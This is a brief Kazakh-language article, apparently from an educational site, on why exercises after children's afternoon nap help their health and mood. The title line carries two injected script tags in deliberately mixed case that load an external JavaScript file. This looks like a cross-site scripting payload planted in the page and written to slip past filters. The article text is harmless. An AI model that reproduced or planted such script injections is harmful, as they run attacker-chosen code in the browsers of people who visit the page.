Түскі ұйқыдан кейінгі жаттығулардың маңыздылығы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

 Түскі ұйқыдан кейінгі жаттығулардың маңыздылығы балалардың денсаулығын нығайтып, дене бітімінің жақсартады.  Жаттығулар арқылы аркасындағы, қолыңдағы, табанындағы нүктелерді ояту бала денсаулығына өте пайдалы. Балалар ұйқыларын ақырын ашып, жаттығуларды дұрыс және дәл орындауға тырысады. Осындай жаттығуларды үнемі жасай отырып, балалардың жалпы физиологиялық жетілуiн жақсартып, қимыл-қозғалыс арқылы биологиялық қажеттілігін қанағаттандырып, жағымды эмоционалды көнiл-күй ортасын жасайды.